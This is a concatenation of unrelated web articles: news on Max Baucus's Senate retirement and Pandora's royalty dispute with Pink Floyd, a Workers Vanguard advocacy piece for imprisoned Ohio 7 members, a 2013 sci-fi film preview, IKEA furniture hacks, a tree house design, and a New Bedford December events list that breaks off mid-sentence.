I've got people I need to talk to first." The Baucus retirement also could have dramatic policy consequences. No longer bounded by his own 2014 reelection, Baucus can now push for comprehensive tax reform without concerns about the political ramifications, his allies say. He and Rep. Dave Camp (R-Mich.), the term-limited chairman of the House Ways and Means Committee, could jump-start tax reform with both men looking toward their legislative legacy rather than their political fallout within their respective caucuses. Baucus’s offfice has been in touch with Camp's advisers and the two chairmen are expected to speak later Tuesday, advisers said. His retirement is the latest blow to the Senate’s tradition of “Old Bulls," the powerful committee chairmen who in the past ruled their panels with strong determination and a freedom from party leaders. In the past several months, Baucus has been in an open feud with Majority Leader Harry M. Reid (D-Nev.) and Sen. Charles E. Schumer (D-N.Y.), a member of leadership and senior Finance Committee member, over tax reform. Baucus has been willing to proceed with a plan that would eliminate loopholes and deductions to use that additional revenue for a broad-based lowering of corporate and personal tax rates. Reid and Schumer want to use that revenue from loophole closing to reduce the deficit. Inside the Democratic caucus, many junior Democrats have chafed at Baucus’s power on finance, pushing leadership to rein him in, and some have even promoted the prospect of imposing term limits on chairmen. Those proposals have so far been brushed aside by Reid’s leadership team. Baucus joins five other committee chairmen who have decided to retire rather than run for reelection, including Sens. John D. “Jay” Rockefeller (D-W.Va.), 75, chairman of the commerce committee, and Tom Harkin (D-Iowa), 73, chairman of the health committee. In the 2010 and 2012 election seasons, several other chairmen, including Chris Dodd (D-Conn.) and Kent Conrad (D-N.D.), opted to retire. In recent years, longtime committee chairmen Robert C. Byrd (D-W.Va.), Daniel Inouye (D-Hawaii) and Edward M. Kennedy (D-Mass.) have also died in office. In a statement Tuesday afternoon, Obama thanked Baucus for his service. "As Finance Committee Chairman and a senior member of both the Agriculture and the Environment and Public Works Committees, Max has been a leader on a broad range of issues that touch the lives of Americans across the country. Michelle and I commend Senator Baucus on his career, and wish him and his family well in the future," Obama said. Baucus’s advisers said that he was not afraid of running another tough race. Already in his 70s, he faced a commitment that would have meant serving until he was 79. In a signal that he was ready to spend time away from the Senate, he and his wife, Melody, have recently begun building what is considered a dream home outside Bozeman, Mont. Additionally, several of his closest advisers left their senior positions in recent months for private sector jobs in the lobbying industry. Republican strategists began circulating stories about Schweitzer and his work stumping for Obama immediately after The Washington Post broke the news about Baucus’s retirement. Democrats rejected the idea that tying Schweitzer – or any Montana Democrat – to Obama would suffice in defeating him, citing the string of Senate victories for Democrats there that included the 2012 victory of Sen. Jon Tester (D-Mont.). “Max Baucus has shaped and guided legislation and policy affecting every American, and his service has been a benefit to all Montanans. He has been an invaluable leader in our caucus, and he will be sorely missed. Democrats have had a great deal of electoral success in Montana over the last decade, and I am confident that will continue,” Sen. Michael Bennet (D-Colo.), chairman of the Democratic Senatorial Campaign Committee, said in a statement. Read more from Washington Post Politics: Poll: George W. Bush's popularity rebounds Fact Checker: Rand Paul's misguided question on Tsarnaev brothers The Fix: How Bush's approval rating hit a seven-year high Schweitzer vs. Baucus? Montana ex-governor posts poll -REUTERS/Stephen Hird On Monday, we wrote up Pink Floyd's in-print reunion blasting Pandora's initiative to alter the royalty rate it pays songwriters and accusing the company of sending out misleading information about the effort. Now Pandora has responded, sending out the following statement saying they're the ones lying: We have enormous respect for the members of Pink Floyd, and their amazing artistic contributions. We also respect the genuineness of their opinion. Unfortunately, they have been given badly misleading information - the result of a well-orchestrated campaign by the RIAA and their lobbying arm to mislead and agitate artists. A glaring example is the assertion that Pandora supports an "85% artist pay cut." That is simply not true. [emphasis ours] We never, nor would we ever, support such a thing. In fact, Pandora has suggested solutions that would guarantee no reduction in artist payouts while also nurturing the growth of internet radio -- a medium that is crucial to thousands of independent musicians who don't enjoy major label support or FM radio exposure. This much is true: Pandora is by far the highest paying form of radio in the world and proudly pays both songwriters and performers. For perspective, to reach the exact same audience, Pandora currently pays over 4.5 times more in total royalties than broadcast radio for the same song. In fact, at only 7% of U.S. radio listening, Pandora pays more in performance royalties than any other form of radio. It's not immediately clear where the band's 85% figure comes from - they link to this 2012 post by Register Editor Andrew Orlowsky, and he doesn't cite anyone. (He has not yet responded to our email.) The bill proposed by Pandora and contested by Floyd, the Internet Radio Fairness Act, doesn't mention specific rate levels. It's also true that as a percentage of its revenue, Pandora's royalty payments are higher than any other platform's (that's why they're trying to get the law changed). But Pandora still doesn't address the underlying issue Camper Van Beethoven frontman David Lowery brought up yesterday: a songwriter ends up with paltry returns for their work even if a Pandora user played their song a thousand times. Here's the rate breakdown according to IP lawyer Vanessa Kaster: $.0019 cents a song (approx.) per play on satellite radio (like SIRIUS XM) $.0019 cents a song (approx.) per play on Pandora $.09 cents a song (approx.) for a permanent download (like iTunes) $.09 cents a song (approx.) for a physical recording (like a CD) $.24per ringtone. -Workers Vanguard No. 1116 25 August 2017 Stop Prison Torture of Tom Manning and Jaan Laaman! Over the past several months, the Federal Bureau of Prisons has been intensifying its decades-long vendetta against class-war prisoners Tom Manning and Jaan Laaman. As punishment for their unwavering support for the struggles of the poor and oppressed and their opposition to U.S. imperialism, Laaman and Manning, the last two members of the Ohio 7 still in prison, were deprived of necessary medical attention, isolated in solitary and threatened with transfer to draconian “supermax control” units. For the racist capitalist rulers, this is an attempt to silence forever these courageous individuals who continue their political activism from behind the walls of America’s dungeons. Prison officials marked Laaman’s birthday on March 21 by throwing him into the Secure Housing Unit of USP Tucson—i.e., solitary, where he still remains locked up in a six-by-nine-foot box 23 hours a day. Laaman’s “offense” was to issue two statements: his eulogy for radical attorney Lynne Stewart, who died on March 7 (which was broadcast on Prison Radio as “Farewell Thoughts to My Friend, Lynne Stewart”), and a statement of support for the March 8 International Women’s Day protests, “Day Without a Woman Strike” (which was printed in NYC Anarchist Black Cross). The Partisan Defense Committee—a legal and social defense organization associated with the Spartacist League—recently learned that a letter Laaman wrote in May to notify the PDC of the repression he was facing never made it through the prison censors. That month, prison officials cited him for “misuse of phone” and rescinded his phone “privileges” for six months. They are now pushing for his transfer to a Communications Management Unit—lockdown units that severely restrict all communication with those outside. As Laaman noted in a recent letter to the PDC, “As you are aware, I have been observing and speaking on world and national events for decades—so this is a new and unprecedented attack on me and my First Amendment rights.” In June, Tom Manning wrote a letter notifying the PDC that he had suffered a grand mal seizure in March. The first prison “medical” personnel on the scene declared it a drug overdose. The seizure left Manning unconscious for four days. When he was able to request that prison officials perform a forensic trail test to prove it was not an OD, and, more significantly, to find out and treat what caused the seizure, they scoffed, “Do you know how expensive that would be?” Manning was finally given an MRI, which shocked him with the news that he had a second brain tumor. Prison officials never told him that a 2012 MRI had revealed an earlier tumor. Manning also learned that he had two vertebrae compressing his spinal cord. The prison officials’ response to his dire medical condition was to throw him into solitary. The specious reason was that he received a political journal, Flood Gate, calling for prisoners to revolt. As Manning told the PDC, such unsolicited journals are sent to him all the time. On May 24, he was transferred from Butner Medical Center to solitary at Butner Correctional Center. In recent interviews, former Ohio 7 prisoner Ray Levasseur, who was released on parole in 2004, pointed out that Manning is wheelchair-bound and in need of physical therapy, which he is unlikely to get in solitary. Levasseur emphasized the horrific condition facing his comrades: “Solitary is hell in a very small place.” Last week, Manning was finally released from solitary and transferred to a federal prison in Hazelton, West Virginia. The PDC has written protest letters denouncing the cruel and vindictive treatment of Laaman and Manning. The Ohio 7 are committed radicals with a long history of opposition to racism and imperialism. They were involved in civil rights work in the South, defense of prisoners’ rights and solidarity actions against the South African apartheid government. In the early 1970s, they joined neighborhood defense efforts in Boston against rampaging anti-busing racists. They became members of the United Freedom Front, a radical group that in the late 1970s and ’80s took credit for bombings targeting symbols of U.S. imperialism, including military and corporate offices (see “Ohio 7: Fighters Against Imperialism, Racism,” WV No. 741, 8 September 2000). The Ohio 7’s politics were once shared by thousands of young New Left radicals. Despairing of organizing the proletariat in struggle, these radicals decided that the road to fighting this racist, exploitative system was “clandestine armed resistance” by a handful of dedicated leftists. Like the Weathermen a decade before them, the Ohio 7 were spurned by the “respectable” left. As Levasseur bitterly observed in a 1992 statement, “Much of the North American Left suffers from myopia on this issue of political prisoners. It affects their value judgments. They place our value at nil.” In contrast to the New Leftists, we recognize it is the multiracial proletariat, organized behind a Leninist vanguard party, that has the interest and social power to sweep away the bloodthirsty imperialist rulers. Despite our political differences with them, the SL and PDC have long defended the Ohio 7, including during a 1989 trial on trumped-up “seditious conspiracy” charges. In successfully beating back that thought-crime prosecution, the Ohio 7 won a significant victory against government efforts to criminalize leftist politics. One of their defense lawyers was Lynne Stewart. No doubt throwing Laaman into solitary for his tribute to Stewart was payback on the part of his jailers. We have always insisted that from a proletarian standpoint, the actions of these leftist activists against imperialism and racist injustice are not crimes. These courageous fighters should not have served a day in prison and should be freed immediately. Laaman and Manning must not be forgotten. We urge WV readers to send letters of solidarity to the following addresses: Jaan Laaman #10372-016 USP Tucson, U.S. Penitentiary P.O. Box 24550, Tucson, AZ 85734 Thomas Manning #10373-016 USP Hazelton, U.S. Penitentiary P.O. Box 2000, Bruceton Mills, WV 26525 -Donald Trump's golf paradise is threatened by a right Scottish bastard. Protesters opposed to Donald Trump's planned $1.5 billion Scottish golf resort say they've pulled a trick shot out of their bag. At the center of the plan is local fisherman Michael Forbes, who has long been an irritant to Trump. Forbes has refused the American tycoon's offer of nearly $700,000 (488,000 pounds) to buy his family's 23-acre run-down farm, which sits at the center of the planned resort. But Forbes has sold an acre of his land near Aberdeen to protesters who also disagree with Trump's plans – a sale which will force the property tycoon to face down more than 60 people. The group, Tripping Up Trump, says it purchased the land and named it "The Bunker," after the sand trap that many golfers end up in. "We've called this piece of the land the bunker because he will now find it impossible to force a sale as there will be so many names on it," group spokesman Martin Glegg said Wednesday. "This is the prime slot that Trump wants and there is no way he can get it now." Glegg said he hoped eventually to have hundreds of names on the deeds. -This fall is just packed with movie goodness. A lot of the year's most ambitious films are coming out in the next four months. Including huge space epics, massive franchise pictures... and Marvel's first post-Avengers movie without Iron Man in it. Here's our prognosis for 20 upcoming science fiction and fantasy movies. And before anyone asks, there's no U.S. release date for Snowpiercer. Or Only Lovers Left Alive. Or Under the Skin. Or the long-awaited Knights of Badassdom. We'll keep you posted! Advertisement Top image: The Hunger Games: Catching Fire. September Advertisement Riddick (Sept. 6) The alien anti-hero with the see-in-the-dark eyes is back, and just like in Pitch Black he's stranded on a planet where everything is trying to kill him. Unlike in Pitch Black, he's got a ton of bounty hunters on his tail as well. Prognosis: This looks like pure action-movie goodness, and very much a return to the Riddick we loved in the first movie. We visited the set, and the love of mayhem just burst from every corner. Advertisement Hell Baby (Sept. 6) Rob Corddry stars in this horror comedy about a man who moves into a haunted New Orleans house, after which his pregnant wife starts acting extremely violent. Advertisement Prognosis: It's already out on VOD and early reviews suggest it is "ridiculously crude and mean-spirited" and more like a connection of random skits than a movie. Also, better than Scary Movie, but not by much. Insidious, Chapter 2 (Sept. 13) Did the WTF ending of the first Insidious leave you confused? Director James Wan is back to show what happens next. How on Earth can this family survive after what happened the first time around? Advertisement Prognosis: Wan blew us away (and rocked the box office) with The Conjuring, so we're excited to see what might be his last foray into horror. Wan promises Insidious 2 takes it to "a whole other crazy disturbing level." Fingers crossed. The Colony (Sept. 20) After a disastrous ice age caused by our attempts to fix global warming, the last survivors of humanity live in a handful of bases. And to make matters worse, there are zombies. Advertisement Prognosis: The film came out in Canada (where it was made) last spring, and got mostly negative reviews. Cloudy With a Chance of Meatballs 2 (Sept. 27) The first Cloudy was one of our favorite movies of 2009, and a really exciting surprise. This time around, the food machine is creating food-animal hybrids, like Tacodiles and Flamangoes. Advertisement Prognosis: Original directors Phil Lord and Chris Miller are not back, because they're doing the LEGO movie instead. Nor is this based on the second book in the Cloudy series. The sneak peek we saw at Comic-Con did not seem to excite anybody. October Advertisement Gravity (Oct. 4) Alfonso Cuarón owned our brains with the incredible film-making in Children of Men. And now he's back at last, with space epic in which Sandra Bullock and George Clooney must survive alone, after a catastrophe, and all they have is each other. Prognosis: This movie will rule. Everything we've seen of it, including a huge chunk at Cinema-Con, has blown us away, and there's pretty much no way this won't be one of our favorite films of the year. Advertisement Bad Milo! (Oct. 4) Ken Marino plays a guy who's stuck in a stressful job, suffering from horrible stomach pains. Until it turns out there's an evil demon living inside his intestines, and it sneaks out and attacks the people who are stressing him out. Advertisement Prognosis: It looks like crazy fun, and has a very retro-1980s vibe. Here's hoping it's this year's horror-comedy breakout. Nothing Left to Fear (Oct. 4) Anne Heche stars in a horror movie produced by Slash from Guns N' Roses. In which a pastor moves to the town of Stull, Kansas, which turns out to be one of the seven gates of Hell. And demonic shit is afoot, man. Advertisement Prognosis: Slash has been doing a ton of interviews in which he says that he loves old-school 1970s horror films, where more was left to the imagination, and he hopes to recapture that with this film. So you never know, right? Carrie (Oct. 18) Kimberly Peirce (Boys Don't Cry) remakes the classic horror film based on a Stephen King novel, with Chloe Grace Moretz taking the Sissie Spacek role. And Julianne Moore as the psycho mom. Advertisement Prognosis: Incredibly high hopes for this one. It looks like it'll be fantastic, although can they live up to the De Palma version? Haunter (Oct. 18) Vincenzo Natali (Splice) is back with this horror film about a family that moves into a haunted house. Abigail Breslin plays a girl who died in 1986 and is stuck as a ghost, trying to save a living girl from suffering the same fate. Advertisement Prognosis: Even in a month crammed with horror movies, this sounds like something pretty unique, and the idea of a ghost girl trying to save a living girl sounds really neat. Plus we're eager to see more from Natali, after Splice. Escape Plan (Oct. 18) Sylvester Stallone is an escape expert who gets locked in the most high-tech escape-proof prison of all time, and it turns out to be an evil conspiracy. Good thing he's locked in with the Terminator. Advertisement Prognosis: We're suckers for high-tech superprison movies, and old-school action heroes. Let's hope there's lots of outsmarting computers and crawling under lasers. Not quite science fiction or fantasy: In Zero Charisma (Oct. 11), a Dungeons & Dragons dungeon-master faces a personal crisis. In Machete Kills (Oct. 11), Lady Gaga is an assassin or something. In The Counselor (Oct. 25), Ridley Scott reunites with his Prometheus star Michael Fassbender for a movie written by Cormac McCarthy. November Advertisement Ender's Game (Nov. 1) Orson Scott Card's beloved, award-winning novel about a war with alien insect creatures becomes a huge movie, with Ben Kingsley and Harrison Ford in major supporting roles. This is a dark fable about how far people are willing to go to win a war, and it ought to be disturbing and thrilling. Prognosis: Everything we've seen so far about this movie promises an insane attention to detail and dedication to capturing every corner of the futuristic wartime setting. And the space battle scenes look just breathtaking. The main question that remains is, will this film do justice to the dark heart of the book? Advertisement About Time (Nov. 1) Richard Curtis not only wrote a lot of the best bits in Blackadder, he also wrote one of the best Doctor Who stories of the Matt Smith era, with "Vincent and the Doctor." Now he's writing and directing a time-travel comedy film in which a young man can jump through his own timeline and try to fix things — but should he? Advertisement Prognosis: Sadly, the British reviews suggest it's like a less funny Groundhog Day — with less of a heart as well. Thor: the Dark World (Nov. 8) Not only is Thor back in this second Asgardian adventure, but so is Tom Hiddleston's Loki. Also, Natalie Portman's Jane Foster is actually visiting Asgard, and former Doctor Who star Christopher Eccleston is a dark elf. Advertisement Prognosis: It would be hard to replace Kenneth Branagh as director of this vaguely Shakespearean high fantasy series — but choosing a veteran Game of Thrones director, Alan Taylor, feels like a masterstroke. And apparently recent reshoots were all about beefing up Loki's screen time. So here's hoping for a Game of Thrones-esque saga with tons of Loki. The Hunger Games: Catching Fire (Nov. 22) The first Hunger Games movie was a bit of a miracle: a bleak, intense film that fully captured the inner life of Suzanne Collins' novel about teens killing each other on television in a dystopian future. Now just a year later, the second book is being adapted for film. Advertisement Prognosis: The first trailers have looked good, and Jennifer Lawrence is still note-perfect as Katniss. And we're excited to get more of Donald Sutherland as President Snow. But this is a tricky book to adapt for film, because the political maneuverings get more complicated. And it's an open question whether director Francis Lawrence (I Am Legend) can fill Gary Ross' shoes, especially given such a short turnaround time. Frozen (Nov. 27) Disney's latest animated feature is a loose adaptation of Hans Christian Andersen's The Snow Queen, starring Kristen Bell, Idina Menzel and Jonathan Groff. A girl goes on a perilous journey across the tundra to save her sister from an icy curse, facing trolls and snowmen along the way. Advertisement Prognosis: This project has been in the pipeline for a long time, and seems to have gone through a lot of turmoil. Most encouraging sign: Jennifer Lee, co-writer of Wreck-It Ralph, worked on this script and then became the film's co-director at the last minute. If this film has even a fraction of Ralph's appeal, that would be a very good thing. Not quite science fiction or fantasy: With Oldboy (Nov. 27), Spike Lee remakes the classic Korean film about a man kept locked up for 20 years. December Advertisement The Hobbit: The Desolation of Smaug (Dec. 13) The second part of Peter Jackson's epic adaptation of J.R.R. Tolkien's fantasy classic — and this time, we're dealing with the dragon smaug, voiced by Benedict Cumberbatch! Prognosis: This could be the first movie where you feel the brunt of Jackson's decision to split the Hobbit adaptation into three films, instead of two. We're guessing that the first film, An Unexpected Journey, was much the same as it would have been if the Hobbit had stayed a duology. So fingers crossed that Jackson proves he has enough story to carry three films. Advertisement Her (Dec. 18) Spike Jonze's first full-length movie since Where the Wild Things Are seems like it'll be a return to the weird grown-up territory of films like Adaptation and Being John Malkovich. Joaquin Phoenix is a guy who falls in love with the Siri-like operating system of his phone, voiced by Scarlett Johansson. Advertisement Prognosis: The first trailer looked suitably weird and fascinating — but is this movie arriving too late? Have we already had all of the "falling in love with Siri" humor and weirdness we needed? Let's hope it actually delves into topics like the nature of consciousness, and how technology is shaping our relationships with other people. Advertisement Walking With Dinosaurs (Dec. 20) The beloved BBC miniseries is finally becoming a huge CG movie, after having already been a traveling arena show. I guess this movie is ditching the "nature documentary" format of the BBC series for something more story-based — according to the trailer and some synopses, it's about a small underdog dinosaur struggling to prove himself and lead the whole herd to a new home. Prognosis: It looks cute, although it doesn't look like the dinosaurs have feathers in the trailer. It could be the a decent movie you can park your kids in front of, and get them interested in paleontology. Advertisement 47 Ronin (Dec. 25) This lonnnnng-delayed supernatural action movie, directed by Carl Rinsch (who also did the short film The Gift) is finally getting released in the death slot, on Christmas. Prognosis: It's Keanu Reeves as a samurai. Yay? Not quite science fiction or fantasy: In Saving Mr. Banks (Dec. 13) we witness the miracle of Walt Disney convincing author P.L. Travers to let him make Mary Poppins. In The Secret Life of Walter Mitty (Dec. 25), Ben Stiller plays a guy who escapes into daydreams and then finds a real-life adventure. Advertisement Sources: Studio releases. Plus Box Office Mojo, Film Releases, Fandango and EW. -Make sure your home doesn't look like everyone else's by using some DIY know-how and hacks like these—and even more at IKEAhackers.net. 1. Coffee Table Hack Want to buy a mid-century style table? Be prepared to shell out lots of dough—unless you’re willing to go the DIY route. To pull off this easy hack from Triple Max Tons, all you need is a LACK coffee table and tapered legs from eBay (if the legs don’t come with top plates, you can buy straight or angled—as they are in this hack—at Loews). Unscrew the old legs, install the tapered legs and top plates about an inch from the corners, and voila! Charming, fancy looking table at a reasonable price. 2. Bar Cart Hack Bar carts are all the rage at the moment, and, like a nice mid-century coffee table, they can be really expensive. But all this hack from Blush and Jelly of the BYGEL utility cart (a mere $24.99) requires is some gold spray paint. Assemble the frame; spray it gold, waiting about 20 minutes between coats; let dry overnight, and add the remaining pieces. If you want to get even fancier, you can add a stemware rack, like this one from Bed Bath and Beyond. 3. Dresser Upgrade Upgrading IKEA’s TARVA dresser is as easy as adding a few coats of paint and swapping out the hardware. Refinery29 has a tutorial. 4. Storage to Litter Box Let’s face it: Litter boxes are gross, even if they have covers on them. This elegant hack of IKEA’s EXPEDIT shelving serves both as storage and as a hiding spot where kitty can do his business. A little mat in the entryway keeps litter from getting tracked on the floor. 5. DIY Standing Desk Virginia Woolf did it. Ernest Hemingway did it. Now you, too, can have a standing desk without breaking the bank. (And if those celebrity endorsements aren’t enough for you, consider this: Science says sitting too much is bad for you.) This hack requires an EXPEDIT storage system, CAPITA legs, and a VIKA AMON table top. 6. Window Herb Garden So what if you don’t have a backyard, or you’re too lazy for a real garden! You can still grow fresh herbs by employing this elegant solution. All you need is IKEA’s ORE shower curtain rod, FINTORP pots, GRUNDTAL S hooks, and some spray paint. 7. Side Table Transform IKEA’s $30 PS2012 side table into a classy-looking statement piece by following this tutorial. 8. Lamp Hack Get beachy by tying driftwood around IKEA’s HEMMA or JANUARI lamp bases. To make the base blend in, you can paint it beige-gray. 9. Mini Cork Board Turn IKEA’s plain HEAT pot stands into fabric covered cork boards by breaking out your hot glue gun and following this simple tutorial. 10. Arcade This ambitious DIYer used a BILLY bookshelf (with substantial additions) to build an IKEA arcade game. Based on the tutorial, it wasn’t easy—but it is awesome. 11. Bookshelf To make this fun little shelf, you’ll need to buy an IKEA STATLIG board, an EKBY BJARNUM shelf holder, and some paracord and steel washers. 12. Doggy Food Bar Is your dog a slob? Consider building this food station out of a FAKTUM kitchen cabinet, HARLIG door, and PATRULL cabinet lock. It serves as both a mess-proof eating station and a storage area for the pooch’s stuff. 13. Rast Hack One super-hackable IKEA item is the RAST dresser. This hacker combined two RASTs into one big dresser, then painted it and added new hardware for a truly custom finish. 14. Rast This hack—made three RAST dressers (two for the piece itself, and one for extra parts)—uses metallic paint and a stainless steel sheet for an industrial look. 15. Wall-Mounted Charging Station To charge your gadgets in one place, follow this hack, which cleverly uses three FORHOJA boxes to create a wall-mounted charging station that isn’t an eyesore. 16. Ice Chest It’s just about garden party weather—so it’s the perfect time to look into doing this hack, which turns IKEA’s TARVA dresser into a cool looking cooler, for yourself. 17. Another Bar Where the bar cart hack was simple, this BESTA hack (which also uses an Inreda mirrored glass shelf insert and Inreda shelves) is more complex—and pretty impressive. 18. Cocktail Ottoman This hacker used fabric, batting, and spray paint to transform a VITTSJO nesting table into a beautiful ottoman. 19. Hamster Home There are a number of ways to hack IKEA furniture for your pets—some of which we've already featured—but few are as cool as this elaborate hamster habitat made out of the 5x5 EXPEDIT. 20. Hidden Bookcase Door Take the idea of a fort one step further by creating your very own hidden door. This hacker used two BILLY bookcases to get the job done. -The £225,000 building is being built in an area where an average house is sold for around £625,000. The tree house is one of three projects the architects designed for private clients looking to settle in the mountains of Almaty. It was commissioned by a 38-year-old businessman who wanted a home for a two people and a place that would allow for his spiritual and creative development. Most of all, the house is designed to provide a space where one can escape stressful everyday life in the city. The house is to be built using metal columns, plasterboard panels, concrete and wooden flooring, and floor-to-ceiling windows. It takes the concept of the tree house to the extreme by fully enveloping a living tree. The home’s staircases wind around the tree it as it were the central pillar of a tower. Scheduled for completion in 2014, the daylit house provides its inhabitant with his own private piece of the forest. + A. Masow Design Studio Via World Architecture News -The following community events will take place in the city of New Bedford during the month of December in celebration of the holiday season: Cove Street Neighborhood Group Tree Lighting Date and Time: Friday, December 1 at 5:00 p.m. Location: Park on the corner of Ruth Street and Salisbury Street AHA! Holiday Shop & Stroll Date and Time: Friday, December 1 from 4:00 to 7:00 p.m. and Saturday, December 2 from 10:00 a.m. to 4:00 p.m. Location: Downtown New Bedford On Dec. 1 and 2, New Bedford area residents are invited to stroll the festively decorated cobblestoned streets of the Whaling City’s downtown, to shop locally for holiday gifts, hear caroling, dine out, jump aboard fire truck rides, meet Santa, witness the city’s tree lighting and more. http://www.ahanewbedford.org/holiday-stroll.php City of New Bedford Official Christmas Tree Lighting Date and Time: Saturday, December 2 at 4:30 p.m. Location: Pleasant Street in Front of Main Library Downtown Join Mayor Jon Mitchell, New Bedford City Councilors and the New Bedford community for the annual tree lighting celebration! At 4:30 p.m. Santa and Mrs. Claus will lead a parade up William Street to the Main Library. The parade will feature the award-winning New Bedford High School Whaler Marching Band and the All-City Middle School Marching Band and Color Guard. The countdown celebration will feature holiday songs, greetings from local elected officials and an appearance by Santa Claus! In addition, plans for City Celebrates! on New Year’s Eve will be announced. New Bedford Community Services Department will serve complimentary hot chocolate! A New England Nutcracker, New Bedford Ballet Date and Time: Ten performances will take place over two weekends. – Saturday, December 2 at 1:30 and 3:00 p.m. – Sunday, December 3 at 1:30 and 3:00 p.m. – Friday, December 8 at 6:30 and 8:00 p.m. – Saturday, December 9 at 1:30 and 3:00 p.m. – Sunday, December 10 at 1:30 and 3:00 p.m. Location: NBB Community Theatre, 2343 Purchase Street New Bedford Ballet will perform its annual production of A New England Nutcracker December 2 through December 10, set to Tchaikovsky’s beloved score. Journey back to the 1850s, as this favorite holiday story is reimagined through New Bedford’s historic whaling era, and prepare for the “City That Lit the World” to light up your holiday season. Ticket prices are $12 for adults and $7 for seniors, students, and children. Group rates for non-profit organizations are available. All proceeds from the ballet support the New Bedford Ballet Foundation, a non-profit organization. Visit www.newbedfordballet.org for more information. Cookies and Paws Date and Time: Sunday, December 3 from 10 a.m. to 11:30 a.m. Location: Buttonwood Park Zoo, 425 Hawthorn Street Join in the holiday spirit! Let your kids’ imagination GO WILD as they decorate their very own paw print sugar cookies! Your child will enjoy up-close interactions with some of the Zoo’s animal ambassadors while they demonstrate their artistic abilities using candy canes, gum drops, brightly colored icing, and so much more. Continue to share the holidays by taking your creations home for family & friends. Each guest will be given two paw print cookies to decorate. Members: $5 per person. Non-members: $10 per person includes admission. Children 1 and under are free. Visit www.bpzoo.org for more information. A Very Electric Christmas Date and Time: Sunday, December 3 at 2:00 p.m. Location: Zeiterion Performing Arts Center, 684 Purchase Street Brighten your holidays with Lightwire Theater’s A Very Electric Christmas! Audiences of all ages will treasure this magical and captivating tale of family, friendship and hope set to timeless holiday hits including Nat King Cole, Mariah Carey and Tchaikovsky. Ticket prices: $10 / $13. To purchase tickets in groups of 10 or more (and secure a group discount rate), call 508-997-5664 x123 or email dlegge@zeiterion.org. Festival of Lights Celebration at Clasky Common Park Date and Time: Sunday, December 3 at 5:00 p.m. Location: Clasky Common Park at County and Pope Streets Monte Park/A.J. Gomes Neighborhood Association Tree Lighting Date and Time: Monday, December 4 at 5:30 p.m. Location: Monte Park located at Acushnet Avenue and Cannon Street Buttonwood Park Neighborhood Association Tree Lighting Date and Time: Wednesday, December 6 at 6:30 p.m. Location: Buttonwood Senior Center, 1 Oneida Street Children’s New Bedford Bookfest Date and Time: Saturday, December 9 and Sunday, December 10 from 12 Noon to 4:00 p.m. Location: Groundwork!, 1213 Purchase Street This special kids’ edition of New Bedford Bookfest will feature 20 authors and booksellers and 10 specially selected illustrators in the Groundwork! Gallery. Children’s book authors interested in participating can sign-up below. Children’s book illustrators should email .JPG examples of their work to NewBedfordNow@gmail.com. 26th Annual Holiday House Tour Date and Time: Saturday, December 9, 4:00 p.m. to 8:00 p.m., and Sunday, December 10 from 1:00 p.m. to 5:00 p.m. Location: Tours begin at the Wamsutta Club, 427 County Street An elegant pre-tour brunch at the Wamsutta Club will be served on Sunday from 11 a.m. to 1 p.m., along with a holiday raffle and silent auction of beautiful gifts, art, antiques and handcrafted items. You will be inspired by the varied architecture and interiors, all beautifully decorated for the season. Always popular on the tour are the costumed historic interpreters greeting visitors at one of the historic homes. Reservations recommended but not required. Call the Wamsutta Club directly at 508-997-7431 to make your reservation. A Christmas Carol Date and Time: Saturday, December 9 at 2:00 p.m. and 7:00 p.m. Location: Zeiterion Performing Arts Center, 684 Purchase Street Nebraska Caravan Theatre’s celebrated adaptation of Charles Dickens’ A Christmas Carol is an ensemble musical that thrills Zeiterion patrons year after year. Woven throughout this classic tale are beautiful arrangements and moving renditions of holiday songs such as, “God Rest Ye Merry Gentlemen,” “Greensleeves,” and many more. Featuring a cast of 23 performers, live musicians, and Broadway-style scenery and costumes, audiences cherish this sumptuous holiday classic. Tickets: $19/ $27/ $37. To purchase tickets in groups of 10 or more (and secure a group discount rate), call 508-997-5664 x123 or email dlegge@zeiterion.org. AHA! City Sidewalks Date and Time: Tuesday, December 14 at 5:00 p.m. Location: Downtown New Bedford – The United Way of Greater New Bedford hosts photos with Santa, snacks, and a craft in the lobby of the DeMello International Center (128 Union Street) from 5:00 to 8:00 p.m. Plus, check out a sampling of Portuguese classes being offered at the Center this winter, 6:00 to 8:00 p.m. – Christmas crafts, caroling, and toy collecting at Pilgrim United Church of Christ: Crafts from 6:00 to 7:30pm in the Church Home (634 Purchase Street). Hot cocoa will be served. Caroling from 7:00 to 8:00 p.m. in the Church (635 Purchase Street) with Scott Alan Correia on piano. Toy drive for children in need: visitors may bring an unwrapped toy to donate. – Global Learning Charter Public School winter craft, cocoa station and the GLCPS jazz band: 5:30 to 6:30 p.m. in the New Bedford Whaling Museum’s Jacobs Family Gallery (18 Johnny Cake Hill). – Family fun at the New Bedford Public Library (613 Pleasant Street): Stop by Santa’s workshop! Story time (The Last Christmas Tree) and ornament making with Little People’s College starting at 6pm. Caricatures with New Bedford Park, Recreation and Beaches, 5:00 to 7:00 p.m. – An evening of music at the Rotch-Jones-Duff House & Garden Museum (396 County Street). Get in the holiday spirit with the music of Our Sisters’ School Chorus performed in the museum parlors, 5:30 to 6:30pm – Buzzards Bay Coalition’s Wheeler Bay Learning Center (114 Front Street) to learn all about plankton. Discover what makes this beloved cartoon villain and microscopic organism so important to your everyday life. You’ll also get the chance to build a plankton ornament and walk away with some big love for some small creatures. 5:00 to 8:00 p.m. Breakfast with Santa & Friends Date and Time: Saturday, December 16 and Sunday, December 17 Location: Buttonwood Park Zoo, 425 Hawthorn Street Whether you’re naughty or nice, you’re invited to join us for Breakfast with Santa & Friends! Enjoy a delicious breakfast buffet, share your wish list with Santa and meet some of the Zoo’s favorite resident animals. Be sure to bring a camera to capture your visit with Santa. Free train and carousel rides, weather permitting, are included. Space is limited, so reserve your spot. Zoo Members: $20 per person. Non-members: $25 per person, includes Zoo admission. Children under 1 are free. Visit www.bpzoo.org for more information. New Bedford Symphony Orchestra’s Family Holiday Pops Concert Date and Time: Saturday, December 16, at 3:30 p.m. and 7:00 p.m. Location: Zeiterion Performing Arts Center, 684 Purchase Street ​Come celebrate the holiday season with the NBSO in this fun, festive concert!​ The Family Holiday Pops Concerts feature all the holiday music you love, played by our great orchestra. With our family-friendly atmosphere and choice of performance times, this is the perfect family holiday outing. Make your holiday season sparkle with a special experience only the NBSO can provide. Bullard Street Neighborhood Association Tree Lighting Date and Time: Saturday, December 17 at 6:30 p.m. Location: Riverside Park on the corner of Belleville Avenue and Tallman Street Custom House Square Shop Saturday Date: Saturday, December 17, 12 Noon- 5:00 p.m. Location: Custom House Square (Intersection of William Street and Acushnet Avenue in the Historic Downtown) Downtown will be full of holiday 